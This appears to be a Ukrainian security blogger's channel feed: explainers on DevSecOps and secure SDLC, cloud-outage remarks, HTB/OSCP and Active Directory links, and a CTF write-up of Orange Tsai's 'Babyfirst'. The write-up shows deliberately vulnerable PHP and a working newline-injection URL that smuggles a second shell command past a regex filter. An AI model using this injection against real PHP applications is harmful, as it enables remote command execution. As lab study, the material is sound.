DevSecOps: Безпека в IT без зайвих клопотів 🚀
Що це таке? 🏗️
Уявіть, що ви будуєте будинок 🏠. Можна:
1️⃣ Спочатку звести стіни, а потім думати, куди поставити двері та вікна ❌
2️⃣ Відразу планувати, де вони будуть – так простіше і дешевше! ✅
DevSecOps – це так само, але для програм! 💻
📌 Замість того, щоб "латати діри" в безпеці в кінці 🩹, ми вбудовуємо її в процес з самого початку!
Чому це важливо? 🔍
💸 Дешевше: Виправити помилку на етапі кодування в 100 разів дешевше, ніж після запуску! (Це не шутка – дані від IBM!)
⚡ Швидше: Автоматичні перевірки не затримують роботу – вони просто не пропустять небезпечний код!
🛡️ Надійніше: Коли всі в команді (розробники 👨💻, тестувальники 🧪, адміністраторы 🖥️) думають про безпеку – ризиків значно менше!
Як це працює на практиці? 🛠️
1️⃣ Рання перевірка коду (Shift Left) ⬅️
Що це?
"Shift Left" означає переносити перевірки безпеки якомога раніше – ще до того, як код потрапить у робочу програму!
Приклад:
👨💻 Розробник пише код → 🤖 автоматична система (наприклад, SonarQube) перевіряє його на типові помилки (наприклад, можливість хакерської атаки через неправильне зберігання паролів 🔑).
🚨 Якщо щось не так – система одразу повідомляє йому, а не чекає місяць!
2️⃣ Автоматичний захист на кожному кроці 🤖
CI/CD – це як конвеєр, де код автоматично тестується, збирається і розгортається. DevSecOps додає сюди безпеку!
Етап=Що=перевіряється=Інструменти 🛠️;

Код ✍️ = Помилки безпеки в рядках коду = SonarQube, Checkmarx;

Бібліотеки 📚= Чи немає в них відомих дір? = Snyk, Dependabot

Налаштування ⚙️ = Чи правильно налаштовані сервери? = Terrascan, Kube-bench

Запуск 🚀= Чи не відбуваються підозрілі дії? = Falco, Wazuh

Приклад:
Ви додаєте нову функцію → система сама знаходить, що ви використали небезпечну бібліотеку!
Вам кажуть: "❌ Ця бібліотека має вразливість! Ось як її замінити ✅"
Ви виправляєте → код йде далі! 🎉
Як це зробити в команді? 👥
1️⃣ Почати з простих кроків
Для розробників 👨💻: Встановити плагіни для IDE (наприклад, GitGuardian – шукає паролі у коді!)
Для DevOps 🛠️: Додати автоматичні сканери в CI/CD (наприклад, OWASP ZAP для тестування вебдодатків)
2️⃣ Змінити підхід до безпеки
Не бути "поліцією" 👮, а помічником 🤝:
❌ "Це не можна робити!"
✅ "Ось як зробити безпечніше!"
Навчання 🎓: Міні-лекції типу "Як уникнути 5 найпоширеніших вразливостей?"
3️⃣ Використовувати "пісочниці" 🏖️
Це ізольовані середовища, де можна тестувати нові рішення без ризику для основної системи!
Висновок: Чому це вигідно? 💡
😌 Менше стресу: Менше шансів, що після запуску з'явиться критична діра!
🚀 Швидший випуск продуктів: Автоматизація економить час на ручних перевірках!
🤝 Довіра клієнтів: Ніхто не хоче чути, що його дані витікли через просту помилку!
Хочете спробувати? 🔥
🔹 Безкоштовні інструменти для початку (https://owasp.org/www-project-devsecops-guideline/)
🔹 Приклади DevSecOps у реальних компаніях(https://www.appknox.com/blog/history-of-devops)
🔹 Безпечна розробка ПЗ на TryHackMe (https://tryhackme.com/module/secure-software-development) – інтерактивний курс з основами DevSecOps! 🎮
DevSecOps — це не про складні технології. Це про те, щоб робити безпеку простою частиною роботи! 🛡️💻
#DevSecOps #CyberSecurity #AppSec #SecureCoding
#LearnToCode #CyberSecurityAwareness #TechEducation
#ITвУкраїні #КіберБезпека #ТехнологіїУкраїна

SDLC: Як забезпечити безпеку на кожному етапі розробки 🛡️💻
SDLC (Software Development Life Cycle) — це план, який допомагає створити програму від початку до кінця. Він не тільки забезпечує високу якість, а й вбудовує безпеку на кожному етапі, щоб не зустріти неприємних сюрпризів після запуску. Безпека має бути частиною процесу, а не "останнім штрихом"!
SDLC — це набір практик, які визначають порядок виконання завдань під час розробки програмного забезпечення. І це не просто про те, як написати код: важливо також, як організувати процес, щоб все працювало як годинник.
Забезпечення якості: завдяки чітко визначеному плану можна уникнути помилок і підвищити якість продукту.
Управління ризиками: ретельне планування знижує ймовірність критичних проблем, включаючи загрози безпеці.
Безпека: без цього навіть найкраще спланований продукт може стати вразливим до атак.
Етапи SDLC та безпека на кожному з них
1. Планування: з чого все починається? 🚦
На цьому етапі ви визначаєте цілі і ресурси проекту. Важливо встановити не лише часові рамки і бюджет, а й врахувати, які саме загрози можуть виникнути під час розробки.
Безпека на етапі планування:
Визначення стандартів безпеки: шифрування, автентифікація, захист від атак.
Оцінка ризиків: з якими загрозами ми можемо зіткнутися?
2. Визначення вимог: що ми будуємо? 💡
Тут команда збирає всі вимоги до програми. Як працюватиме система? Які її функції повинні бути реалізовані?
Безпека на етапі вимог:
Визначення вимог до захисту даних: наприклад, багатофакторна автентифікація для додатків, які працюють з чутливими даними.
Розробка документації для забезпечення безпеки протягом усього життєвого циклу.
3. Дизайн та прототипування: закладаємо основу 🏛️
Це момент, коли формується структура програми. Не тільки інтерфейс, а й архітектура, яка повинна бути захищеною від потенційних атак.
Безпека на етапі дизайну:
Використання архітектурних рішень, що забезпечують захист даних і підтримку безпеки.
Планування, як програма буде взаємодіяти з іншими системами, щоб уникнути уразливостей.
4. Розробка: реалізуємо ідеї в код 💻
Програмісти пишуть код, створюючи функціонал. Але важливо пам'ятати, що цей код повинен бути захищений від атак.
Безпека на етапі розробки:
Дотримання стандартів безпеки при написанні коду (захист від SQL-ін’єкцій, перевірка введених даних).
Використання статичних інструментів для аналізу коду на наявність вразливостей.
5. Тестування: чи все працює? 🧪
На етапі тестування ми перевіряємо, чи працює програма згідно з вимогами, і чи є вона безпечною. Це не лише про виявлення багів, а й про перевірку на наявність уразливостей.
Безпека на етапі тестування:
Проведення penetration testing) для виявлення вразливостей у програмі.
Тестування на захищеність від атак типу XSS, CSRF, SQL-ін’єкції.
6. Розгортання: готово до користувачів 🌐
Програма готова до запуску, але важливо зробити так, щоб вона була захищена і на етапі розгортання.
Безпека на етапі розгортання:
Захист каналів зв’язку через шифрування (SSL/TLS).
Налаштування фаєрволів і використання інструментів для виявлення атак.
7. Обслуговування: не забуваємо про безпеку після запуску 🛠️
Програма працює, але важливо постійно моніторити її безпеку і оновлювати для виправлення вразливостей.
Безпека на етапі обслуговування:
Оновлення і виправлення помилок, виявлених після запуску.
Постійний моніторинг для виявлення нових загроз.
Як DevSecOps змінює гру?
Уявіть, що ви не чекаєте на останній момент, щоб додати безпеку, а враховуєте її на кожному етапі. Це і є принцип DevSecOps — інтеграція безпеки в кожну фазу SDLC, що дозволяє швидко виявляти та усувати загрози, також він заставляє тебе думати про безпеку на кожному етапі твоєї роботи, покращувати свої знання, вдосконалювати код і постійно автоматизувати процеси для підвищення захищеності.
Корисні ресурси для вивчення DevSecOps:
https://owasp.org/www-project-devsecops-guideline/
https://www.devsecops.org/
https://www.atlassian.com/devops/devops-tools
https://www.atlassian.com/agile/software-development/sdlc

Є такий люто крутий дядько - Orange Tsai 🍊. Лютий кбшник і геній. І от я вирішив крім читання його статей клянути на його вибрані CTF. І почав з малого Babyfirst. Пройти - х?йня, а зрозуміти - виклик. До суті:

<?php
  
    $dir = 'sandbox/' . $_SERVER['REMOTE_ADDR'];
    if ( !file_exists($dir) )
        mkdir($dir);
    chdir($dir);

    $args = $_GET['args'];
    for ( $i=0; $i<count($args); $i++ ){
        if ( !preg_match('/^\w+$/', $args[$i]) )
            exit();
    }
//Замість орандж можна будь який файл,але віддам 
//дань автору
    exec("/bin/orange " . implode(" ", $args));
?>

Запуск -

sudo php -S 0.0.0.0:80

І відвідати в браузері http://0.0.0.0:80/index.php
А задача банальна - байпас фільтру.

!preg_match('/^\w+$/', $args[$i]

Ця регулярка перевіряє: ^ - початок рядка, \w+ будь яку кількість букв або цифр і _ і $ - кінець рядка.
Проходження до болю банальне
http://0.0.0.0/index.php?args[]=%0a&args[]=touch&args[]=pwned
Але цікаво зрозуміти як це працює. В документації php розказується, що вони використовується PCRE - Perl Compatible Regular Expressions. В часи коли перл тільки розвивався, виникла проблема, підчас читання з файлу і перевірки чи його вміст підходить під регулярку, кінець рядка(\n) треба було прописувати в кожну регулярку, бо кожен рядок закінчується в файлі \n, коли ви натискаєте Enter. І це лютий гемор, тому ввели правило: $ означає кінець рядка і дозволяє далі не перевіряти, бо там або \0 або \n\0.
Відповідно ми спокійно додаємо %0A( закодований \n), що для exec означає виконувати наші команди в другому рядку, що в шелі - нові команди, все що ми захочемо.
І в шел приходить

/bin/orange 
touch pwned

Оревуар, Шошана!

Там пів інета лежить, бо хтось в cloudflare хуйово робить свою роботу. Якщо що, це днс провайдер і пів світу юзає його. В них навіть айпі 1.1.1.1

Наїбнулася гілка aws us-east 1
Для всіх в світі)
І Сігнал десктоп не працює. Як же класно коли все в хмарі, як же хуйово, коли хмара не працює)

AWS втомивсь. Якщо якийсь ваш любимий сервіс не працює, або працює в обмеженому режимі - не треба поки на нього сваритись

Btw воскрес

Сьогодні на порядку денному підготовка до OSCP за допомогою вирішення HTB машин.
Aero
https://checklister.github.io/bezpc.github.io/2025/12/05/HTB-Aero.html

Новий день, нова машина
HTB Busqueda


https://checklister.github.io/bezpc.github.io/2025/12/06/HTB-Busqueda.html

Цією статтею я хочу почати цикл про Active Directory. Сам я - готуюсь до OSCP і буду ділитися своїми записами і техніками, які можуть знадобитися. Стаття може бути душна, навіть фоточок нема, але від душі. Я намагався пояснити доступно, без шарів абстракції. Тож
Пірнаючи в AD ч1

Продовжую писати про AD. Частина 2 присвячена концепції Kerberoasting - найвідоміша атака на Active Directory.
Пірнаючи в AD ч2

Репо з симуляціями атак різних груп APT
У ворога краще вчитися)

https://github.com/S3N4T0R-0X0/APTs-Adversary-Simulation

Кхе кхе)